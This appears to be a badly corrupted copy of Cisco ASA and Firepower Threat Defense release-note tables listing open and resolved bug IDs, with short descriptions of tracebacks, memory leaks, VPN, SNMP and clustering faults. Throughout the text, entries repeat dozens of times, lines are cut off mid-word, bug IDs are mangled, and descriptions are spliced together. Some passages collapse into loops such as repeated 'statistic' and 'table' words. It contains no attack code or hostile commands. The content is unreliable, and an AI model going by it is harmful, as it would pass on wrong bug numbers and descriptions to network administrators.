SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks
CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and SSM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and SSM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and SSM several weeks CSCvr15503 ASA: SSH and SSM several weeks CSCvr15503 ASA: SSH and SSM sev CSCvr58411 RRI on static HUB/SPOKE config is not working on HUB when a new static SPOKE is added or deleted CSCvr60195 ASA/FTD may traceback and reload in Thread Name 'HTTP Cli Exec' CSCvr99642 ASA traceback and reload in Thread Name 'HTTP Cli Exec' CSCvr99642 ASA traceback and reload multiple times with trace "webvpn periodic signal" CSCvs01422 Lina traceback when changing device mode of FTD CSCvs09533 FP2100: Traceback and reload when processing traffic through more than two inline sets CSCvs38785 Inconsistent timestamp format in syslog CSCvs50274 ASA5506 to the box icmp request packets intermittently dropped CSCvs52108 ASA Traceback Due to Umbrella Inspection CSCvs55603 ICMP Reply Dropped when matched by ACL CSCvs59056 ASA/FTD Tunneled Static Routes are Ignored by Suboptimal Lookup if Float-Conn is Enabled CSCvs72378 ASDM session being abruptly terminated when switching between different contexts CSCvs72393 FPR1010 temperature thresholds should be changed CSCvs73754 ASA/FTD: Block 256 size depletion caused by ARP of BVI not assigned to any physical interface CSCvs78252 ASA/Lina Offloaded TCP flows interrupted if TCP sequence number randomizer is enabled and SACK used CSCvs79023 ASA/FTD Traceback in Thread Name: DATAPATH due to DNS inspection CSCvs7806 "dns server-group DefaultDNS" cli not getting negated CSCvs81763 vFTD not able to pass vlan tagged traffic (trunk mode) CSCvs82829 Calls fail once anyconnect configuration is added to the site to site VPN tunnel CSCvs85196 ASA SIP connections drop after several consecutive failovers: pinhole timeout/closed by inspection CSCvs88413 Portchannel bundling is failing after upgrade to 9.8 version CSCvs90100 ASA/FTD may traceback and reload in Thread Name 'License Thread' CSCvs91389 FTD Traceback Lina process CSCvs97863 Reduce number of fsync calls during close in flash file system CSCvt00113 ASA/FTD traceback and reload in Thread Name 'License Thread' CSCvs97863 Reduce number of fsync calls during close in flash file system CSCvt00113 ASA/FTD traceback and reload due to memory leak in SNMP community string CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt02409 Cisco ASA Software and FTD Software Web Services Read-Only Path Traversal Vulnerability CSCvt04560 SCTP heartbeats failing across the firewall in Cluster deploymet. CSCvt05862 IPv6 DNS server resolution fails when the server is reachable over the management interface. CSCvt06606 Flow offload not working with combination of FTD 6.2(3.10) and FXOS 2.6(1.169) CSCvt06841 Incorrect access-list hitcount seen when configuring it with a capture on ASA CSCvt11661 DOC - Clarify the meaning of mp-svc-flow-control under show asp drop CSCvt11742 ASA/FTD may traceback and reload in Thread Name 'ssh' CSCvt12463 ASA: VTI rejecting IPSec tunnel due to no matching crypto map entry CSCvt15163 Cisco ASA and FTD Software Web Services Information Disclosure Vulnerability CSCvt18199 IPv6 Nat rejected with error "overlaps with inside standby interface address" for Standalone ASA CSCvt22356 Health-check monitor-interface debounce-time in ASA Cluster resets to 9000ms after ASA reboot CSCvt23643 VPN failover recovery is taking approx. 30 seconds for data to resume CSCvt24328 FTD: Traceback and reload related to lina host file open raw function CSCvt26031 ASAv Unable to register smart licensing with IPv6 CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt27585 Observed traceback on 2100 while performing Failover Switch from Standby CSCvt28182 sctp-state-bypass is not getting invoked for inline FTD CSCvt3945 Encryption-3DES-AES should not be required when enabling ssh version 2 on 9.8 train CSCvt36542 Multi-context ASA/LINA on FPR not sending DHCP release message CSCvt38279 Erase disk0 on ISA3000 causes file system not supported CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload CSCvt40306 ASA:BVI interface of standby unit stops responding after reload length with zeros CSCvt45863 Crypto ring stalls when the length in the ip header doesn't match the packet length CSCvt46289 ASA LDAPS connection fails on Firepower 1000 Series CSCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show crypto accelerator statistics' counters do not track symmetric crypto ESCvt46830 FPR2100 'show cry Certificates in ASA/FTD - CLI CSCvt50946 Stuck uauth entry rejects AnyConnect user connections despite fix of CSCvt51346 PKI-CRL: Memory Leak on Download Large CRL in loop without clearing it CSCvt51349 Fragmented packets forwarded to fragment owner are not visible on data interface captures CSCvt51987 Traffic outage due to 80 size block exhaustion on the ASA FPR9300 SM56 CSCvt52782 ASA traceback and reload after upgrading SFR from 6.4.0 to 6.4.0.9-34 CSCvt54182 LINA cores are generated when FTD is configured to do SSL decryption. CSCvt56923 FTD manual certificate enrollment fails with "&" (ampersand) in Organisation subject field CSCvt61196 ASA on multicontext mode, deleting a context does not delete the SSH keys. CSCvt63484 ASA High CPU with igb saleen io sfp mod poll thre process CSCvt64035 remote acess mib - SNMP 64 bit only reporting 4Gb before wrapping around CSCvt64270 ASA is sending failover interface check control packets with a wrong destination mac address CSCvt64952 "Show crypto accelerator load-balance detail" has missing and undefined output CSCvt65982 Route Fallback doesn't happen on Slave unit, upon RRI route removal. CSCvt66351 NetFlow reporting impossibly large flow bytes CSCvt68131 FTD traceback and reload on thread "IKEv2 Mgd Timer Thread" CSCvt68294 Adjust Firepower 4120 Maximum VPN Session Limit to 20,000 CSCvt70664 ASA: acct-session-time accounting attribute missing from Radius Acct-Requests for AnyConnect CSCvt70879 "clear configure access-list" on ACL used for vpn-filter breaks access to resources CSCvt73407 TACACS Fallback and reload on FP2120 LINA Active Box. VPN CSCvt75241 Redistribution of VPN advertised static routes fail after reloading the FTD on FPR2100 CSCvt80126 ASA traceback and reload for the CLI "show asp table socket 18421590 det" CSCvt80134 WebVPN rewriter fails to parse data from SAP Netweaver. CSCvt83133 Unable to access anyconnect webvpn portal from google chrome using group-url CSCvt86188 SNMP traps can't be generated via diagnostic interface CSCvt90330 ASA traceback and reload with thread name coa task CSCvt92647 Connectivity over the state link configured with IPv6 addresses is lost after upgrading the ASA cSCvt93142 ASA should allow null sequence encoding in

certificates for client authentication. CSCvt95517 Certificate mapping for AnyConnect on FTD stops working. CSCvt97205 SNMPPOLL/SNMPTRAP to remote end (site-to-site vpn) ASA interface fails on ASA 9.14.1 CSCvt97917 ASAv on AWS 9.13.1.7 BYOL image cannot be enabled for PLR CSCvt98599 IKEv2 Call Admission Statistics "Active SAs counter out of sync with the real number of sessions CSCvu00112 tsd0 not reset when ssh quota limit is hit in ci cons shell CSCvu01039 Traceback: Modifying FTD inline-set tap-mode configuration with active traffic CSCvu03107 AnyConnect statistics is doubled in both %ASA-4-113019 and RADIUS accounting CSCvu03562 Device loses ssh connectivity when username and password is entered CSCvu03675 FPR2100: ASA console may hang & become unresponsive in low memory conditions CSCvu05180 aaa-server configuration missing on the FTD after a Remote Access VPN policy deployment CSCvu05216 cert map to specify CRL CDP Override does not allow backup entries CSCvu05336 ASAv - Traceback and reload on SNMP process CSCvu07602 FPR-41x5: 'clear crypto accelerator load-devices CSCvu07602 FPR-41x5: 'clear crypto accelerator load-d balance' will cause a traceback and reload CSCvu08813 DTLS v1.2 and AES-GCM cipher when used drops a particular size packet frequently. CSCvu08339 FTD Inline-set bridge group ID set to 0 with tap-mode off CSCvu10053 ASA traceback and reload on function snmp_master_callback_thread CSCvu12039 Slave unit might fail to synchronize SCTP configuration from the cluster master after bootup CSCvu1248 ASA-FPWR 1010 traceback and reload when users connect using AnyConnect VPN CSCvu12684 HKT - Failover time increases with upgrade to 9.8.4.15 CSCvu16423 ASA 9.12(2) - Multiple tracebacks due to Unicorn Proxy Thread CSCvu17852 Current connection count is negative on 'show service policy' when connection limit is set in MPF CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu20007 Config XML Response from LINA is not in the correct format, Lina reporting as No memory available. CSCvu26296 ASA interface ACL dropping snmp control-plane traffic from ASA CSCvu26561 WebVPN SSO Gives Unexpected Results when Integrated with Kerberos CSCvu27287 Scheduled Backup failing over SCP via EEM CSCvu27868 ASA: Lack of specific syslog messages to external IPv6 logging server after ASA upgrade CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu29395 Traceback obse encryption" is present CSCvu34413 SSH keys lost in ASA after reload CSCvu36302 %ASA-3-737403 is used incorrectly when vpn-addr-assign local reuse-delay is configured CSCvu37547 Memory leak: due to invalid interface GOID entry CSCvu40213 ASA traceback in Thread Name kerberos_recv CSCvu40324 ASA traceback and reload with Flow lookup calling traceback CSCvu40398 ASA traceback and reload with Flow lookup calling traceback in datapath due to double free CSCvu43827 ASA & FTD Cluster unit traceback in thread Name "cluster config sync" or "fover FSM thread" CSCvu45748 ASA traceback in thread Name "ppp timer thread" CSCvu45822 ASA experienced a traceback and reloaded CSCvu48285 ASA configured with TACACS REST API: /cli api fail with "Command authorization failed" message CSCvu49625 [PKI] Standard Based IKEv2 Certificate Map incorrectly to lina CSCvu55469 FTD - Connection idle timeout doesn't reset CSCvu55843 ASA traceback after TACACS authorized user made configuration changes CSCvu60011 FTD: Snort policy changes deployed to a HA on failed state are not fully synced CSCvu61704 ASA high CPU with intel 82576 check link thread impacting on overall unit performance CSCvu63458 FPR2100: Show crash outputs from most recent tracebacks CSCvu65688 IKEv2 CAC "Active SAs" counter out of sync with the real number of sessions despite CSCvu68529 Embryonic connections limit does not work consistently CSCvu70622 CTS SGT propagation gets enabled after reload CSCvu70931 Cluster / aaa-server key missing after "no key config-key" is entered CSCvu72094 ASA traceback and reload on thread name DATAPATH CSCvu72658 AnyConnect Connected Client IPs Not Advertised into OSPF Intermittently CSCvu73207 DSCP values not preserved in DTLS packets towards AnyConnect users CSCvu75594 FTD: Traceback and reload when changing capture buffer options on a already applied capture CSCvu75594 FTD: Traceback and display error "Specified remark does not exist" CSCvu8721 Cannot change (modify) interface speed after upgrade CSCvu80143 Snmp stops responding. CLI returns: Unable to honour this request now. CSCvu82738 The drop rate in show interface for inline sets is incorrect CSCvu8178 Dynamic routing protocols summary route not being replicated to standby CSCvu83389 ASA drops GTPV1 Forward relocation Request message with Null TEID CSCvu83599 ASA may traceback and unexpectedly reload on Thread csCvu97764 FTD in TAP mode won't capture on egress interfaces CSCvu98505 ASA licensed via PLR does not have 'export-controlled functionality enabled' flag set correctly CSCvv02245 ASA 'session sfr' command disconnects from FirePOWER module for initial setup CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv07864 Multicast EIGRP traffic not seen on internal FTD interface CSCvv07917 ASA learning a new route removes asp route table created by floating static CSCvv09396 Stale VPN routes for L2TP, after the session was terminated CSCvv09396 Stale VPN routes for L2TP, after the session was terminated CSCvv09396 Stale VPN routes for L2TP. response using snmpget with multiple OIDs on hardwareStatus MIB returns noSuchObject CSCvv12857 ASA gets frozen after crypto engine failure CSCvv12857 ASA gets frozen after crypto engine failure CSCvv12857 ASA gets frozen after crypto engine failure CSCvv17585 Netflow template not sent under certain circumstances Netflow template not sent under certain cinternatin circumstances Netflow running webVPN, SNMP related traffic. CSCvv26786 ASA traceback and reload unexpectedly on "Process Name: lina" CSCvv26845 ASA: Watchdog Traceback and reload on thread name Crypto CA CSCvv29687 Rate-limit syslogs 780001/780002 by default on ASA CSCvv30371 SNMP: Memory leak in VPN polling CSCvv31334 Lina traceback and reload seen on trying to switch peer on KP HA with 6.6.1-63 CSCvv31629 Intermittently embedded ping reply over GRE drops on FTD cluster if traffic passes asymmetrically. CSCvv31629 Intermittently embedded ping reply as a symmetrically. snmpwalk for OID 1.3.6.1.2.1.47.1.1.1.1.5 on ISA 3000 returning value of 0 for .16 and .17 CSCvv34140 ASA IKEv2 VTI - Failed to request SPI from CTM as responder CSCvv36725 ASA logging rate-limit 1 5 message in 10 seconds instead of 5 CSCvv37108 ASA silently dropping OSPF LS Update messages from neighbors CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets due to GRE/IPiniP passenges from neighbors CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv43484 ASA stops processing RIP packets
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CSCvv58831 ASA traceback and reload when running Packet Tracer commands CSCvv57590 ASA: ACL compilation takes more time on standby CSCvv57842 WebSSL clientless user accounts being locked out on 1st bad password CSCvv58605 ASA traceback and reload in thread:Crypto CA,mem corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption in SNMP CSCvv53696 ASA/FTD traceback and reload of the second due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruption by unvirtualized pki global table in MTX CSCvv53696 ASA/FTD traceback and reload due to memory corruptice and table and table and table and table and table and t during AAA or CoA task of Anyconnect user The following table lists select resolved bugs at the time of this Release Note publication. Caveat ID Number Description CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvi42008 Stuck uauth entry rejects AnyConnect user The following table lists select resolved bugs at the time of this Release Note publication. Caveat ID Number Description CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvi42008 Stuck uauth entry rejects AnyConnect user Connections CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvi42008 Stuck uauth entry rejects AnyConnect user Connections CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvi42008 Stuck uauth entry rejects AnyConnect user Connections CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvi42008 Stuck uauth entry rejects AnyConnect user Connections CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvi42008 Stuck uauth entry rejects AnyConnect user Connections CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvi42008 Stuck uauth entry rejects AnyConnect user Connections CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvi42008 Stuck uauth entry rejects AnyConnect user (SSCvi42008 Stuck uauth entry rejects AnyConnect u environment" on ASA 5515/5525/5545/5555 shows up Driver/ioctl error logs CSCvn82441 [SXP] Issue with establishing SXP connection between ASA on FPR-2110 and switches CSCvn95731 ASA traceback and reload on Thread Name SSH CSCvq47743 AnyConnect and Management Sessions fail to connect after several weeks CSCvq51284 FPR 2100, low block 9472 causes packet loss through the device. CSCvr15503 ASA: SSH and ASDM sessions stuck in CLOSE WAIT causing lack of MGMT for the ASA CSCvr35872 ASA traceback Thread Name: DATAPATH-0-1388 PBR 9.10(1)22 CSCvr58411 RR on static HUB/SPOKE config is not working on HUB when a new static SPOKE is added or deleted CSCvr60195 ASA/FTD may traceback and reload multiple times with trace "webvpn_periodic_signal" CSCvs01422 Lina traceback when changing device mode of FTD CSCvs09533 FP2100: Traceback and reload when processing traffic through more than two inline sets CSCvs33852 After upgrade to version 9.6.4.34 is not possible to add an access-group CSCvs52108 ASA Traceback Due to Umbrella Inspection CSCvs55603 ICMP Reply Dropped when matched by ACL CSCvs59056 ASA/FTD Tunneled Static Routes are Ignored by Suboptimal Lookup if Float-Conn is Enabled CSCvs72393 FPR1010 temperature thresholds should be changed to any physical interface CSCvs79023 ASA/FTD Traceback in Thread Name: DATAPATH due to DNS inspection CSCvs82829 Calls fail once anyconnect configuration is added to the site to site VPN tunnel CSCvs88413 Port-channel bundling is failing after upgrade to 9.8 version CSCvs97863 Reduce number of fsync calls during close in flash file system CSCvt00113 ASA/FTD traceback and reload due to memory leak in SNMP community string CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt02409 9.12.2.151 snp cluster ingress traceback on FPR9300 3-node cluster ingress traceback and reload due to memory leak in SNMP community string CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt02409 9.12.2.151 snp cluster ingress traceback and reload due to memory leak in SNMP community string CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success although LINA config was not pushed CSCvt01397 Deployment is marked as success al Read-Only Path Traversal Vulnerability CSCvt05862 IPv6 DNS server resolution fails when the server is reachable over the management interface. CSCvt06606 Flow offload not working with a capture on ASA CSCvt11661 DOCtation fails when the server is reachable over the management interface. - Clarify the meaning of mp-svc-flow-control under show asp drop CSCvt11742 ASA/FTD may traceback in thread unicorn Admin Handler CSCvt21041 FTD Traceback in thread 'ctm ipsec display msg' CSCvt23643 VPN failover recovery is taking approx. 30 seconds for data to resume CSCvt24328 FTD: Traceback and reload related to lina host file_open_raw function CSCvt26031 ASAv Unable to register smart licensing with IPv6 CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26031 ASAv Unable to register smart licensing with IPv6 CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD CSCvt26067 Active FTP fails when secondary interface is used on FTD
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VPN CSCvt75241 Redistribution of VPN advertised static routes fail after reloading the FTD on FPR2100 CSCvt80126 ASA traceback and reload for the CLI "show asp table socket 18421590 det" CSCvt83133 Unable to access anyconnect webvpn portal from google chrome using group-url CSCvt86188 SNMP traps can't be generated via diagnostic interface CSCvt90330 ASA traceback and reload with thread name coa_task CSCvt92647 Connectivity over the state link configured with IPv6 addresses is lost after upgrading the ASA cSCvt95517 Certificate mapping for AnyConnect on FTD stops working. CSCvt97917 ASAv on AWS 9.13.1.7 BYOL image cannot be enabled for PLR CSCvt08599 IKEv2 Call Admission Statistics "Active SAs" counter out of sync with the real number of sessions CSCvu01039 Traceback: Modifying FTD inline-set tap-mode configuration with active traffic CSCvu03107 AnyConnect statistics is here a statistics and the real number of sessions CSCvu0112 tsd0 not reset when ssh quota limit is hit in ci cons shell CSCvu01039 Traceback: Modifying FTD inline-set tap-mode configuration with active traffic CSCvu03107 AnyConnect statistics is here a statistics and the real number of sessions CSCvu01039 Traceback: Modifying FTD inline-set tap-mode configuration with active traffic CSCvu03107 AnyConnect statistics are constructed as a statistic statistic statistics are constructed as a statistic statistic statistic statistic statistic statistic statistics are constructed as a statistic statistic statistic statistic statistic statistic statistics are constructed as a statistic statistic statistic statistic statistic statistic statistics are constructed as a statistic statis doubled in both %ASA-4-113019 and RADIUS accounting CSCvu03562 Device loses ssh connectivity when username and password is entered CSCvu03675 FPR2100: ASA console may hang & become unresponsive in low memory conditions CSCvu04279 ASAv/AWS: Unable to upgrade or downgrade C5 ASAv code on AWS CSCvu05180 aaa-server configuration missing on the FTD after a Remote Access VPN policy deployment CSCvu05336 ASAv - Traceback and reload on SNMP process CSCvu05321 Timestamp format will be shown always in UTC CSCvu06767 Lina cores on multi-instance causing a boot loop on both logical-devices CSCvu07602 FPR-41x5: 'clear crypto accelerator load-balance' will cause a traceback and reload CSCvu07880 ASA on QP platforms display wrong coredump filesystem space (50 GB) CSCvu08013 DTLS v1.2 and AES-GCM cipher when used drops a particular size packet frequently. CSCvu10053 ASA traceback and reload on function snmp master callback thread CSCvu12039 Slave unit might fail to synchronize SCTP configuration from the cluster master after bootup CSCvu12684 HKT - Failover time increases with upgrade to 9.8.4.15 CSCvu16423 ASA 9.12(2) - Multiple tracebacks due to Unicorn Proxy Thread CSCvu17924 FTD failover units traceback and reload on DATAPATH CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and reloaded when changing the port value of a manual nat rule CSCvu17965 ASA generated a traceback and rel 6.4.0.8 traceback & reload on thread name : CP processing CSCvu26296 ASA interface ACL dropping snmp control-plane traffic from ASA CSCvu26561 WebVPN SSO Gives Unexpected Results when Integrated with Kerberos CSCvu27868 ASA: Lack of specific syslog messages to external IPv6 logging server after ASA upgrade CSCvu29395 Traceback observed while performing master role change with active IGMP joins CSCvu32698 ASA Crashes in SNMP while joining the cluster when key config-key password-encryption" is present CSCvu34413 SSH keys lost in ASA after reload CSCvu36362 ASA inconsistent behavior with DNS doctoring CSCvu37547 Memory leak: due to resource-limit MIB handler, eventually causing reload CSCvu38795 FTD firewall unit cannot join the cluster after a traceback due to invalid interface GOID entry CSCvu40324 ASA traceback and reload with Flow lookup calling traceback CSCvu40398 ASAv reload due to FIPS SELF-TEST FAILURE after enabling FIPS CSCvu42434 ASA: High CPU due to stuck running SSH sessions / Unable to SSH to ASA CSCvu43355 FTD Lina traceback in datapath due to double free CSCvu43325 FTD Lina traceback in thread Name "cluster config sync" or "fover_FSM thread" CSCvu43924 GIADDR of DHCP Discover packet is changed to the ip address of dhcp-network-scope CSCvu45748 ASA traceback in threadname 'ppp timer thread' CSCvu45822 ASA experienced a traceback and reloaded CSCvu48285 ASA configured with TACACS REST API: /cli api fail with "Command authorization failed" message CSCvu49625 [PKI] Standard Based IKEv2 Certificate Auth session does second userfromcert lookup unnecessarily CSCvu53258 FMC pushes certificate map incorrectly to lina CSCvu55843 ASA traceback after TACACS authorized user made configuration changes
